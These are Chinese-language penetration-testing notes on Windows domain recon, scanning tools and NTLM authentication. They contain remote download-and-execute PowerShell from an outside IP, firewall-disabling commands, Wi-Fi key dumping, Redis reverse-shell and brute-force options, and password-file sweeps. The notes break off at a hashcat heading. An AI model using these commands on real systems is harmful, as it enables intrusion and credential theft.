# 内网

域基础知识,信息收集,密码抓取,内网横向,域控安全,跨域攻击

# 域基础知识

# 活动目录

活动目录 (Active Directory,AD) 是指域环境中提供目录服务的组件

目录用于存储有关网络对象 (例如用户、组、计算机、共享资源、打印机和联系人等) 的信息。目录服务是指帮助用户快速、准确地从目录中找到其所需要的信息的服务。活动目录实现了 目录服务,为企业提供了网络环境的集中式管理机制

活动目录的逻辑结构包括前面讲过的组织单元 (OU)、域、域树、域森林。域树内的所有域 共享一个活动目录,这个活动目录内的数据分散存储在各个域中,且每个域只存储该域内的数据。

活动目录主要提供以下功能

1
2
3
4
5
账号集中管理:所有账号均存储在服务器中,以便执行命令和重置密码等。
软件集中管理:统一推送软件、安装网络打印机等。利用软件发布策略分发软件,可以让 用户自由选择需要安装的软件。
环境集中管理:统一客户端桌面、IE、TCPP协议等设置。 增强安全性:统一部署杀毒软件和病毒扫描任务、集中管理用户的计算机权限、统一制定用户密码策略等。可以监控网络,对资料进行统一管理。
更可靠,更短的宕机时间:例如,利用活动目录控制用户访问权限,利用群集、负载均衡等技术对文件服务器进行容灾设置。网络更可靠,宕机时间更短。
活动目录是微软提供的统一管理基础平台,ISA、 Exchange、SMS等都依赖这个平台

组织单元

1
组织单元(OU)是域中包含的一类目录对象如用户、计算机和组、文件与打印机等资源,是一个容器,可以在OU上部署组策略

委派控制

因为财务部门有 20 个人,不能有问题就去找网络管理员,需要委派控制权限给财务部门一个代表,让他去执行,也就是说在财务部门找一个代表,他由相应的权限去管理财务部门的计算机和用户

grant … 权限 …

image-20221203143640363

如果需要委派的人较多,那么我们可以新建组,用户加组,对该组进行委派

# 域内权限

组 (Group) 是用户账号的集合。通过向组分配权限,就可以不必向每个用户分别分配权限。例如,管理员在日常工作中,不必为单个用户账号设置独特的访问权限,只需要将用户账放到相应的安全组中。管理员通过配置安全组访问权限,就可以为所有加入安全组的用户账号配置同样的权限。使用安全组而不是单个的用户账号,可以大大简化网络的维护和管理工作

域本地组

域本地组成员来自林中任何域中的用户账户、全局组和通用组以及本域中的域本地组,在本域范围内可用。

全局组

全局组成员来自于同一域的用户账户和全局组,在林范围内可用

通用组

通用组成员来自林中任何域中的用户账户、全局组和其他的通用组,在全林范围内可用

域本地组来自全林,作用于本域;

全局组来自本域,作用于全林;

通用组来自林,作用于全林。

image-20221203150027803

A-G-DL-P 策略

A-G-DL-P 策略是指将用户账号添加到全局组中,将全局组添加到域本地组中,然后为域本地组分配资源权限

A 表示用户账号 (Account)

G 表示全局组 (Global Group)

U 表示通用组 (Universal Group)

DL 表示域本地组 (Domain Local Group)

P 表示资源权限 (Permission, 许可)

按照 AG-DL-P 策略对用户进行组织和管理是非常容易的。在 AGDL-P 策略形成以后,当需要给一个用户添加某个权限时,只要把这个用户添加到某个本地域组中就可以了。

A -> G ->DL -> P

# 安全域划分

划分安全域的目的是将一组安全等级相同的计算机划入同一个网段。这个网段内的计算机拥 有相同的网络边界,并在网络边界上通过部署防火墙来实现对其他安全域的网络访问控制策略 ,从而对允许哪些 IP 地址访问此域、允许此域访问哪些 IP 地址和网段进行设置。这些 措施,将使得网络风险最小化,当攻击发生时,可以尽可能地将威胁隔离,从而降低对域内计算机的影响。

image-20221203152306469

在一个用路由器连接的内网中,可以将网络划分为三个区域:

安全级别最高的内网;

安全级别中等的 DMZ;

安全级别最低的外网

1
2
3
4
5
6
内网可以访问外网:内网用户需要自由地访问外网。在这一策略中,防火墙需要执行NAT。
内网可以访问DMZ:此策略使内网用户可以使用或者管理DMZ中的服务器
外网不能访问内网:这是防火墙的基本策略。内网中存储的是公司内部数据,显然,这些数据一般是不允许外网用户访问的(如果要访问,就要通过VPN的方式来进行)
外网可以访问DMZ:因为DMZ中的服务器需要为外界提供服务,所以外网必须可以访问DMZ。同时,需要由防火墙来完成从对外地址到服务器实际地址的转换。
DMZ不能访问内网:如果不执行此策略,当攻击者攻陷DMZ时,内网将无法受到保护
DMZ不能访问外网:此策略也有例外。例如,在DMZ中放置了邮件服务器,就要允许访问外网,否则邮件服务器无法正常工作。

# 信息收集

攻击流程详解

信息收集 - 漏洞利用 - 权限提升 - 权限维持 - 隧道技术 - 内网渗透

下面建立在你有 shell,你把人家上了的情况

# 收集本机信息

# 查看基本信息

1. 收集网络信息

1
shell ipconfig

2. 收集操作系统和软件信息

1
shell systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本"

3. 查看系统体系结构

1
shell echo %PROCESSOR_ARCHITECTURE%

4. 查看安装软件及版本

1
2
shell wmic product get name,version
shell powershell "Get‐WmiObject ‐class win32_product | Select‐Object ‐Property name,version"

5. 查看本机服务

1
wmic service list brief

6. 查看进程信息

1
2
tasklist
wmic process list brief

7. 开机自启程序

1
wmic startup get command,caption

8. 查看计划任务

1
2
chcp 437
schtasks /query /fo LIST /v

9. 查看开机时间

1
net statistics workstation

10. 查看用户列表

1
2
net user
wmic useraccount get name ,SID

11. 列出会话

1
net session 

12. 列出连接信息,端口信息

1
netstat -ano

13. 查看补丁信息

1
2
systeminfo
wmic qfe get Caption,Description,HotFixID,InstalledOn

14. 查看共享

1
2
net share
wmic share get name,path,status

15. 查路由

1
route print

16. 查 ARP

1
arp -a

17. 开启远程服务

1
2
3
4
5
6
7
8
9
wmic path win32_terminalservicesetting where (_CLASS !="") call setallowtsconnections 1

//2003之后
#开启
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t
REG_DWORD /d 00000000 /f
#关闭
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t
REG_DWORD /d 11111111 /f

18 收集 wifi 密码

1
for /f "skip=9 tokens=1,2 delims=:" %i in ('netsh wlan show profiles') do @echo %j | findstr ‐i ‐v echo | netsh wlan show profiles %j key=clear

19. 修改 RDP 端口

1
reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Winstations\RDP‐Tcp" /V PortNumber

20. 查看代理信息

1
reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings"

21. 查看登录凭证

1
cmdkey /l

22. 查询用户组

1
net localgroup

23. 查询管理员组

1
2
3
net localgroup administrators

如果电脑加入域后,与中domain admins 是默认管理员

24. 查看最近打开文档

1
dir %APPDATA%\Microsoft\Windows\Recent

25. 杀软查询

1
wmic /node:localhost /namespace:\\root\securitycenter2 path antivirusproduct get displayname /format:list

# 防火墙操作

1. 查看防火墙状态

1
netsh firewall show state

2. 关闭防火墙

1
2
netsh firewall set opmode disable  //2003之前
netsh advfirewall set allprofiles state off //优先使用

3. 查看防火墙配置

1
netsh firewall show config

4. 修改防火墙配置文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
//允许指定的程序进行全部的连接
netsh firewall add allowedprogram c:\nc.exe "allownc" enable //2003之前
netsh advfirewall firewall add rule name="pass nc" dir=in action=allow program="C:\nc.exe" //2003之后

//允许相应端口
netsh advfirewall firewall add rule name="RemoteDesktop" protocol=TCP dir=in localport=3389 action=allow

//允许4444端口进站
netsh advfirewall firewall add rule name=test dir=in action=allow protocol=tcp localport=4444

//允许a.exe进站
netsh advfirewall firewall add rule name=test dir=in action=allow program=c:\a.exe

//允许4444端口出站
netsh advfirewall firewall add rule name=test dir=out action=allow protocol=tcp localport=444

//允许a.exe出站
netsh advfirewall firewall add rule name=test dir=out action=allow program=c:\a.exe

//允许指定 程序退出
netsh advfirewall firewall add rule name="Allownc" dir=out action=allow program="C: \nc.exe"

# 自动化收集信息

bat 语法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
1.终端输出
echo 123
2.暂停,等待按键继续
pause
3.不显示后续命令行及当前命令行
echo off
whoami
4.显示命令,分多个提示符显示
echo on
whoami
5.只显示结果,在每个命令行的最前面,表示运行时不显示这一行的命令行
@echo off
6.调用另一个bat
call c:\2.bat
7.注释
rem
8.输出到文件
whoami > 1.txt
9.追加
ipconfig >> 2.txt

一个简单的脚本

1
2
3
4
5
6
7
8
@echo off
echo ############################## >>1.txt
ipconfig >>1.txt
echo ############################## >>1.txt
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" >>1.txt
systeminfo| findstr /B /C:"OS 名称" /C:"OS 版本" >>1.txt
echo ############################## >>1.txt
echo %PROCESSOR_ARCHITECTURE% >>1.txt

擦,大哥写的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
for /f "delims=" %%A in ('dir /s /b %WINDIR%\system32\*htable.xsl') do set "var=%%A"
wmic process get CSName,Description,ExecutablePath,ProcessId /format:"%var%" >> out.html
wmic service get Caption,Name,PathName,ServiceType,Started,StartMode,StartName /format:"%var%" >> out.html
wmic USERACCOUNT list full /format:"%var%" >> out.html
wmic group list full /format:"%var%" >> out.html
wmic nicconfig where IPEnabled='true' get Caption,DefaultIPGateway,Description,DHCPEnabled,DHCPServer,IPAddress,IPSubnet,MACAddress /format:"%var%" >> out.html
wmic volume get Label,DeviceID,DriveLetter,FileSystem,Capacity,FreeSpace /format:"%var%" >> out.html
wmic netuse list full /format:"%var%" >> out.html
wmic qfe get Caption,Description,HotFixID,InstalledOn /format:"%var%" >> out.html
wmic startup get Caption,Command,Location,User /format:"%var%" >> out.html
wmic PRODUCT get Description,InstallDate,InstallLocation,PackageCache,Vendor,Version /format:"%var%" >> out.html
wmic os get name,version,InstallDate,LastBootUpTime,LocalDateTime,Manufacturer,RegisteredUser,ServicePackMajorVersion,SystemDirectory /format:"%var%" >> out.html
wmic Timezone get DaylightName,Description,StandardName /format:"%var%" >> out.html

# 内网 IP 扫描

1.netbios

这是一款用于扫描 Windows 网络上 NetBIOS 名字信息的程序。该程序对给出范围内的每一个地址发送 NetBIOS 状态查询,并且以易读的表格列出接收到的信息,对于每个响应的主机,NBTScan 列出它的 IP 地址、NetBIOS 计算机名、登录用户名和 MAC 地址。但只能用于局域网,NBTSCAN 可以取到 PC 的真实 IP 地址和 MAC 地址,如果有”ARP 攻击” 在做怪,可以找到装有 ARP 攻击的 PC 的 IP / 和 MAC 地址。但只能用于局域网

nbtscan.exe + IP

2.ICMP

还可以利用 ICMP 协议探测内网。依次对内网中的每个 IP 地址执行 ping 命令,可以快速找出内网中所有存活酌主机。在渗透测试中中,可以使用如下命令循环探测整个 C 段

for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.1.%I | findstr “TTL=”

3.arp

apr -t IP

4.Kscan

kscan 是一款资产测绘工具,可针对指定资产进行端口扫描以及 TCP 指纹识别和 Banner 抓取,在不发送更多的数据包的情况下尽可能的获取端口更多信息。并能够针对扫描结果进行自动化暴力破解,且是 go 平台首款开源的 RDP 暴力破解工具

kscan.exe -t 192.168.13.0/24 --encoding utf-8

其他用法: https://github.com/lcvvvv/kscan

-t , --target 指定探测对象:

IP 地址:114.114.114.114

IP 地址段:114.114.114.114/24, 不建议子网掩码小于 12

IP 地址段:114.114.114.114-115.115.115.115

URL 地址:https://www.baidu.com

文件地址:file:/tmp/target.txt

–spy 网段探测模式,此模式下将自动探测主机可达的内网网段可接收参数为:

(空)、192、10、172、all、指定 IP 地址 (将探测该 IP 地址 B 段存活网关)

5.fscan

一款内网综合扫描工具,方便一键自动化、全方位漏扫扫描。支持主机存活探测、端口扫描、常见服务的爆破、ms17010、redis 批量写公钥、计划任务反弹 shell、读取 win 网卡信息、web 指纹识别、web 漏洞扫描、netbios 探测、域控识别等功能。

fscan.exe -h 192.168.13.0/24

1
2
3
4
5
6
7
8
9
10
11
12
13
fscan.exe -h 192.168.1.1/24 -np -no -nopoc(跳过存活检测 、不保存文件、跳过web poc扫描)
fscan.exe -h 192.168.1.1/24 -rf id_rsa.pub (redis 写公钥)
fscan.exe -h 192.168.1.1/24 -rs 192.168.1.1:6666 (redis 计划任务反弹shell)
fscan.exe -h 192.168.1.1/24 -c whoami (ssh 爆破成功后,命令执行)
fscan.exe -h 192.168.1.1/24 -m ssh -p 2222 (指定模块ssh和端口)
fscan.exe -h 192.168.1.1/24 -pwdf pwd.txt -userf users.txt (加载指定文件的用户名密码来进行爆破)
fscan.exe -h 192.168.1.1/24 -o /tmp/1.txt (指定扫描结果保存路径,默认保存在当前路径)
fscan.exe -h 192.168.1.1/8 (A段的192.x.x.1和192.x.x.254,方便快速查看网段信息 )
fscan.exe -h 192.168.1.1/24 -m smb -pwd password (smb密码碰撞)
fscan.exe -h 192.168.1.1/24 -m ms17010 (指定模块)
fscan.exe -hf ip.txt (以文件导入)
fscan.exe -u http://baidu.com -proxy 8080 (扫描单个url,并设置http代理 http://127.0.0.1:8080)
fscan.exe -h 192.168.1.1/24 -nobr -nopoc (不进行爆破,不扫Web poc,以减少流量)

6.ladon

Ladon 一款用于大型网络渗透的多线程插件化综合扫描神器,含端口扫描、服务识别、网络资产、密码爆破、高危漏洞检测以及一键 GetShell,支持批量 A 段 / B 段 / C 段以及跨网段扫描,支持 URL、主机、域名列表扫描。7

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
### 003 网段扫描/批量扫描
CIDR格式:不只是/24/16/8(所有)
Ladon 192.168.1.8/24 扫描模块
Ladon 192.168.1.8/16 扫描模块
Ladon 192.168.1.8/8 扫描模块
字母格式:仅C段B段A段 顺序排序
Ladon 192.168.1.8/c 扫描模块
Ladon 192.168.1.8/b 扫描模块
Ladon 192.168.1.8/a 扫描模块
TXT格式
##### 004 ICMP批量扫描C段列表存活主机
Ladon ip24.txt ICMP
##### 005 ICMP批量扫描B段列表存活主机
Ladon ip16.txt ICMP
##### 006 ICMP批量扫描cidr列表(如某国IP段)
Ladon cidr.txt ICMP
##### 007 ICMP批量扫描域名是否存活
Ladon domain.txt ICMP
##### 008 ICMP批量扫描机器是否存活
Ladon host.txt ICMP

还有好多自己找吧

# 端口扫描

1.scanline

ScanLine 是一款 windows 下的端口扫描的命令行程序。它可以完成 PING 扫描、TCP 端口扫描、UDP 端口扫描等功能。运行速度很快,不需要 winPcap 库支持,应用场合受限较少。

1
2
3
scanline.exe ‐bhpt 21‐23,25,80,110,135‐139,143,443,445,1433,1521,3306,3389,5556,5631,5900,8080 100.100.0.39
scanline.exe ‐bhpt 80,443 100.100.0.1‐254(IP)
scanline.exe ‐bhpt 139,445 IP

2.telnet

Telnet 协议是 TCP/IP 协议族的一员,是 Internet 远程登录服务的标准协议和主要方式。它为用户提供了在本地计算机上完成远程主机工作的能力。在目标计算机上使用 Telnet 协议,可以与目标服务器建立连接。如果只是想快速探测某台主机的某个常规高危端口是否开放,使用 telnet 命令是最方便的

1
telnet 192.168.13.100 3389

3.readteam tool

RedTeamTool 中有一个本地端口扫面的工具

1
portscanx64 0 10000

4.powerspioit

PowerSploit 是一款基于 PowerShell 的后渗透框架软件,包含了很多 PowerShell 的攻击脚本,它们主要用于渗透中的信息侦测,权限提升、权限维持等

本地执行:需要将程序放到目标机上

1
powershell ‐exec bypass Import‐Module .\Invoke‐Portscan.ps1;Invoke‐Portscan ‐Hosts 192.168.41.0/24 ‐T 4 ‐ports '445,8080,3389,80' ‐oA c:\1.txt

远程执行:文件不落地执行

先去指定的地址下载,在执行,只存在于内存中

1
powershell ‐exec bypass ‐c IEX (New‐Object System.Net.Webclient).DownloadString('http://118.178.134.226:8080/Invoke‐Portscan.ps1');import‐module .\Invoke‐Portscan.ps1;Invoke‐Portscan ‐Hosts 192.168.41.0/24 ‐T 4 ‐ports '445,8080,3389,80' ‐oA c:\1.txt

5.nishang

Nishang 是一款针对 PowerShell 的渗透工具。

nishang 需要将整个 zip 都上传,不能单独上传某个脚本,因此需要上传 zip 后在服务端解压,也是有工具滴

1
2
3
4
5
6
7
8
9
10
11
12
13
14
//方式一
Set‐ExecutionPolicy remotesigned 允许导入
Import‐Module .\nishang.psm1 导入模块
Invoke‐PortScan ‐StartAddress 192.168.41.1 ‐EndAddress 192.168.41.21 ‐ResolveHost

//以下命令直接运行,不需要导入别的东西,方式二
Set‐ExecutionPolicy remotesigned 允许导入
powershell ‐command "& { import‐module .\nishang\nishang.psm1; Invoke‐PortScan ‐StartAddress 192.168.41.1 ‐EndAddress 192.168.41.255 ‐ResolveHost }"
powershell ‐command "& { import‐module .\nishang\nishang.psm1; Invoke‐PortScan ‐StartAddress 192.168.41.1 ‐EndAddress 192.168.41.255 ‐ResolveHost -ScanPort -Port 445 }"

//方式三
将powershell脚本放在cs目录下
powershell‐import nishang\nishang.psm1 //后面的路径为cs中上传的物理路径
powershell Invoke‐PortScan ‐StartAddress 192.168.41.1 ‐EndAddress 192.168.41.21 ‐ResolveHost

5.fscan

详见 ip 扫描

6.kscan

详见 ip 扫描

7.london

详见 ip 扫描

# 收集域环境信息

1. 权限查询

四种用户

本地普通用户 PC2008\haha

本地管理员用户 PC-2008\administrator

域内用户 hack\zhangsan

域管用户 hack\administrator

如果当前内网中存在域,那么本地普通用户只能查询本机相关信息,不能查询域内信息.

而本地管理员用户和域内用户可以查询域内信息.

本地管理员 Admmistrator 权限可以直接提升为 Ntauthority 或 System 权限,因此,在域中,除普通用户外,所有的机器都有 — 个机器用户(用户名是机器名加上 "$")。在本质上, 机器的 system 用户对应的就是域里面的机器用户

# 判断域方法

1.ipconfig /all

主 dns 后缀

通过 nslookup 查询该后缀,可以得到域控

2.systeminfo

域:hack.com

3.net config workstation

工作站域 DNS 名称

4.net time /domain

1,2 都代表存在域

1. 存在域,但当前用户不是域用户

​ 系统错误 5,本地 administrator 是此效果,但提权后,变为第二种现象

2. 存在域,并且当前用户是域用户

​ hack.com 当前时间

3. 当前网络环境为工作组,不存在域

​ 找不到域控

降权 - system 变为 administrator 去执行一些命令,计划任务,net localgroup

提权 - administrator 变为 system 变为域用户

添加本地管理员的方法:在本地加,在域里面的 domain admins 组加

# 查询域

1
2
3
4
5
net view /domain:xxx     //域内计算机
net group /domain //查询用户列表
net group "domain admins"/domain //查询用户列表
nltest /domain_trusts //获取域信任信息,为后续跨域

# 找域控

1.nltest /DCLIST:hack

在使用 ping 或者 nslookup 解析域控的 IP

2. 查看域控主域名

nslookup ‐type=SRV _ldap._tcp

3.net time /domain

4.net group “Domain Controllers” /domain

# 获取用户信息

1. 查询域内用户

net user /domain

2. 获取域内用户详细信息

wmic

wmic /?

wmic user account get all

wmic useraccount get name

C:\Users\18310>wmic useraccount get name
Name
18310
Administrator
DefaultAccount
Guest
hahaha
mysql
VUSR_LAPTOP-8A2UNITB
WDAGUtilityAccount
www

wmic useraccount get domain,name

2. 查看存在用户

dsquery

dsquery user

dsquery computer

3. 查域管

net group “domain admins” /domain

net group “Enterprise Admins” /domain

# 定位域管

在一个域中,当计算机加入域后,会默认给域管理员组赋予本地系统管理员权限,也就是说,当目机被添加到城中。成为域的成员主机后,系统会自动将域管理员组添加到本地系统管理员组中,因此域管理员组的成员都可以访问本地计算机,且具备安全控制权限判断域内机器有谁登陆过,或者谁正在登陆,为后续获取 hash 或明文密码,横向传递做铺垫

1. 通过 psloggedon.exe

PsLoggedon.exe ahzngsan // 用户登录过那些机器

PsLoggedon.exe \\PC-2003 // 机器被哪些用户登陆过

2.PVEDFindADUser.exe 工具

pveFindADUser.exe 可用于查找 Active Directory 用户登录的位置,枚举域用户,以及查找在 特定计算机上登录的用户,包括本地用户、通过 RDP 登录的用户、用于运行服务和计划任务的用户账 户。运行该工具的计算机需要具有.NETFramework 2.0,并且需要具有管理员权限

1
2
3
4
5
6
7
8
9
10
‐h:显示帮助信息
‐current["username"]:如果仅指定‐current参数,将获取目标计算机上当前登录的所有用户。如果指定了用户名
(Domain\Username),则显示该用户登录的计算机
‐last["username"]:如果仅指定‐last参数,将获取目标计算机上最后一个登录用户。如果指定了用户名
(Domain\Username),则显示此用户上次登录的计算机。根据网络的安全策略,可能会隐藏最后一个登录用户的用户
名,此时使用该工具可能无法得到用户名
‐noping:阻止该工具在获取用户登陆信息之前对目标执行ping命令
‐target:可选参数,用于指定要查询的主机。如果未指定该参数,将查询域中的所有主机。如果指定了此参数,主机名
列表由逗号分隔
直接运行"pvefindaduser.exe ‐current",即可显示域中所有计算机上当前登录的用户

3.netview.exe

netview.exe 是一个枚举工具,使用 WinAPI 枚举系统,利用 NetSessionEnum 找寻登陆会话,利 NetShareEnum 找寻共享,利用 NetWkstaUserEnum 枚举登陆的用户。同时,netview.exe 能够查询共享入口和有价值的用户。netview.exe 的绝大部分功能不需要管理员权限就可以使用

1
2
3
4
5
6
7
8
9
使用语法:
netview.exe <参数>
‐h:显示帮助菜单。
‐f filename.txt:指定从中提取主机列表的文件。
‐e filename.txt:指定要排除的主机名文件。
‐o filename.txt:将所有输出重定向到文件。
‐d domain:指定从中提取主机列表的域。如果没有指定,则使用当前域。
‐g group:指定用户搜寻的组名。如果没有指定,则使用 Domain Admins。
‐c:检查对已找到共享的访问权限。

4.NSE

如果存在域账户或者本地账户就可以使用 Nmap 的 smb-enum-sessions.nes 引擎获取远程机器的登录会话(不需要管理员权限)。

1
2
3
4
5
6
7
smb‐enum‐domain:对域控制器进行信息收集,可以获取主机的信息、用户、可使用密码策略的用户等
smb‐enum‐users:在进行域渗透测试时,如果获得了域内某台主机的权限,无法获取更多的域用户信息,就可以借助这
个脚本对域控制器进行扫描
smb‐enum‐shares:遍历远程主机的共享目录
smb‐enum‐processes:对主机的系统进行遍历。通过这些信息,可以知道目标主机上正在运行哪些软件。
smb‐enum‐sessions:获取域内主机的用户登录会话,查看当前是否有用户登录。
smb‐os‐discovery:收集目标主机的操作系统、计算机名、域名域林名称、NetBIOS机器名、NetBIOS域名,工作组、

5.powerview

PowerView 脚本中包含了一系列的 powershell 脚本,信息收集相关的脚本有 Invoke-StealthUserHunter、Invoke-UserHunter 等,

1
2

powershell.exe ‐exec bypass ‐command "& { import‐module .\PowerView.ps1;Invoke‐UserHunter}“

# powershell

Powershell 一般初始化情况下都会禁止脚本执行。脚本能否执行取决于 Powershell 的执行策略

Get-ExecutionPolicy 查看权限

1
2
3
4
5
Set-ExecutionPolicy 
Unrestricted:权限最高,可以不受限制执行任何脚本。
Default:为Powershell默认的策略:Restricted,不允许任何脚本执行。
AllSigned:所有脚本都必须经过签名才能在运行。
RemoteSigned:本地脚本无限制,但是对来自网络的脚本必须经过签名

PowerSploit

PowerSploit 是 GitHub 上面的一个安全项目,上面有很多 powershell 攻击脚本,它们主要被用来渗

透中的信息侦察、权限提升、权限维持。

Powershell 的优点:

1. 代码运行在内存中可以不去接触磁盘

2. 从另一个系统中下载代码并执行

3. 很多安全产品并不能监测到 powershell 的活动

4.cmd.exe 通常被阻止运行,但是 powershell 不会

执行方式

1
2
3
4
5
6
7
8
shell powershell.exe -exec bypass -command "& { import-module C:\Users\Administrator\Desktop\PowerView.ps1;Get-NetUser}"

python -m http.server 8080
shell powershell -exec bypass -c IEX (New-Object System.Net.Webclient).DownloadString('http://118.178.134.226:8080/PowerView.ps1');import-module .\PowerView.ps1;Get-NetShare

beacon> powershell-import //导入各种powershell脚本
beacon>powershell posershell脚本名 //执行脚本
beacon> powershell Check-VM //执行命令

Nishang

Nishang 是一款针对 PowerShell 的渗透工具。

查看模块

1
shell powershell Import-Module .\nishang\nishang.psm1;Get-Command -Module nishang

远程执行

1
2
powershell-import nishang\nishang.psm1
powershell 命令

# 定位敏感信息

内网的核心敏感数据,不仅包括数据库、电子邮件,还包括个人数据及组织的业务数据、技术数据等。

资料、数据、文件的定位流程:

1
2
3
4
5
6
7
8
9
定位内部人事组织结构

在内部人事组织结构中寻找需要监视的人员

定位相关人员的机器

视相关人员存放文档的位置

列出存放文档的服务器的目录

重点核心业务机器

1
2
3
4
5
6
7
8
9
10
11
12
高级管理人员 系统管理人员 财务/人事/业务人员的个人计算机
产品管理系统服务器
办公系统服务器
财务应用系统服务器
核心产品源码服务器(SVN/GIT服务器)
数据库服务器
文件服务器,
共享服务器
电子邮件服务器
网站监控系统服务器
信息安全监控服务器
生产工厂服务器

敏感信息和敏感文件

1
2
3
4
5
6
7
8
9
站点源码备份文件,
数据库备份文件等等
游览器保存的密码和游览器的cookie
其他用户会话,
3389和ipc$连接记录,
回收站中的信息等等
Windows的无线密码
网络内部的各种账号密码,
包含电子邮箱,V**,FTP等等
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
1.指定目录下搜集各类敏感文件
dir /a /s /b d:\"*.txt"
dir /a /s /b C:\"*.xlsx"
dir /a /s /b d:\"*.md"
dir /a /s /b d:\"*.sql"
dir /a /s /b d:\"*.pdf"
dir /a /s /b d:\"*.docx"
dir /a /s /b d:\"*.doc"
dir /a /s /b d:\"*conf*"
dir /a /s /b d:\"*bak*"
dir /a /s /b d:\"*pwd*"
dir /a /s /b d:\"*pass*"
dir /a /s /b d:\"*login*"
dir /a /s /b d:\"*user*"
2.指定目录下的文件中搜集各种账号密码
findstr /si pass *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak
findstr /si userpwd *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak
findstr /si pwd *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak
findstr /si login *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak
findstr /si user *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak

# windows 认证密码抓取

windows 认证

本地

网络

kerberos

# 本地认证 - NTLM 和 LM

Windows 的登陆密码是储存在系统本地的 SAM 文件中的,在登陆 Windows 的时候,系统会将用户输入的密码与 SAM 文件中的密码进行对比,如果相同,则认证成功

SAM 文件是位于 % SystemRoot%\system32\config\ 目录下的,用于储存本地所有用户的凭证信息,但是这并不代表着你可以随意去查看系统密码。

image-20221203160013739

Windows 本地认证流程如下:

image-20221203160134713

首先,用户注销、重启、锁屏后,操作系统会让 winlogon.exe 显示登陆界面,也就是输入框界面,接收用户的输入信息后,将密码交给 lsass 进程,这个过程中会存一份明文密码,将明文密码加密成 NTLM Hash,对 SAM 数据库进行比较认证

Windows Logon Process(即 winlogon.exe):是 Windows NT 用户登陆程序,用于管理用户登陆和退出

LSASS:用于微软 Windows 系统的安全机制,它用于本地安全和登陆策略

本地认证中用来处理用户输入密码的进程即 lsass.exe, 密码会在这个进程中明文保存,供该进程将密码计算成 NTLMHash 与 sam 进行比对,我们使用 mimikatz 来获取的明文密码,便是在这个进程中读取到的

Windows 操作系统通常使用两种方法对用户的明文密码进行加密处理。在域环境中,用户信息存储在 ntds.dit 中,加密后为散列值。 Windows 操作系统中的密码一般由两部分组成,一部分为 LM Hash, 另一部分为 NTLMHash。在 Windows 操作系统中,Hash 的结构通常如下

1
username:RID:LM‐HASH:NT‐HASH

LM Hash 的全名为 "LAN Manager Hash", 是微软为了提高 Windows 操作系统的安全性而采 用的散列加密算法,其本质是 DES 加密。尽管 LM Hash 较容易被破解,但为了保证系统的兼容性,Windows 只是将 LM Hash 禁用了 (从 Windows vista 和 Windows Server2008 版本开始,Windows 操作系统默认禁用 LM Hash)。

LM Hash 明文密码被限定在 14 位以内,也就是说,如果要停止使用 LM Hash, 将用 户的密码设置为 14 位以上即可。如果 LM Hash 被禁用了,攻击者通过工具抓取的 LM Hash 通常 为 “ad3b435b51404eead3b435b51404ee”(表示 LM Hash 为空值或被禁用) NTLM Hash 是微软为了在提高安全性的同时保证兼容性而设计的散列加密算法。 NTLM Hash 是基于 MD4 加密算法进行加密的。个人版从 Windows vista 以后,服务器版从 Windows Server 2003 以后,Windows 操作系统的认证方式均为 NTLM Hash 为了解决 LM 加密和身份验证方案中固有的安全弱点,Microsoft 于 1993 年在 Windows NT 3.1 中引入了 NTLM 协议。

# Windows 网络认证

在平时的测试中,经常会碰到处于工作组的计算机,处于工作组的计算机之间是无法建立一个可信的信托机构的,只能是点对点进行信息的传输。举个例子就是,主机 A 想要访问主机 B 上的资源,就要向主机 B 发送一个存在于主机 B 上的一个账户,主机 B 接收以后会在本地进行验证,如果验证成功,才会允许主机 A 进行相应的访问

NTLM 协议是一种基于 挑战(Chalenge)/ 响应(Response) 认证机制,仅支持 Windows 的网络认证协议。

它主要分为协商、质询和验证三个步骤:

协商,这个是为了解决历史遗留问题,也就是为了向下兼容,双方先确定一下传输协议的版本等各种信息。

质询,这一步便是 Chalenge/Response 认证机制的关键之处,下面会介绍这里的步骤。

验证,对质询的最后结果进行一个验证,验证通过后,即允许访问资源

认证流程
1、首先,client 会向 server 发送一个 username,这个 username 是存在于 server 上的一个用户

2、首先会在本地查询是否存在这样的一个用户,如果存在,将会生成一个 16 位的随机字符,即 Chalenge,然后用查询到的这个 user 的 NTLM hash 对 Chalenge 进行加密,生成 Chalenge1,将 Chalenge1 存储在本地,并将 Chalenge 传给 client。

认证失败

1、首先,client 会向 server 发送一个 username,这个 username 是存在于 server 上的一个用户

2、当 server 接收到这个信息时,首先会在本地查询是否存在这样的一个用户,如果不存在,则直接返回认证失败

3、当 client 接收到 Chalenge 时,将发送的 username 所对应的 NTLM hash 对 Chalenge 进行加密即 Response,并 Response 发送给 server。

4、server 在收到 Response 后,将其与 Chalenge1 进行比较,如果相同,则验证成功

NTLM v1 的 Challenge 有 8 位,NTLM v1 的主要加密算法是 DES

NTLM v2 的 Challenge 为 16 位;NTLM v2 的主要加密算法是 HMAC‐MD5。

net use \\192.168.41.130 /u:kkk Admin@123

image-20221205140859339

NTLMv2 格式如下:

username::domain:challenge:HMAC‐MD5:blob

1
2
3
4
username:对应数据包中 user name
domain:对应数据包中的 Domain name
HMAC‐MD5:对应数据包中的NTProofStr
blob:数据库包中rsponse去掉HMAC‐MD5的值

使用 hashcat 破解密码

1
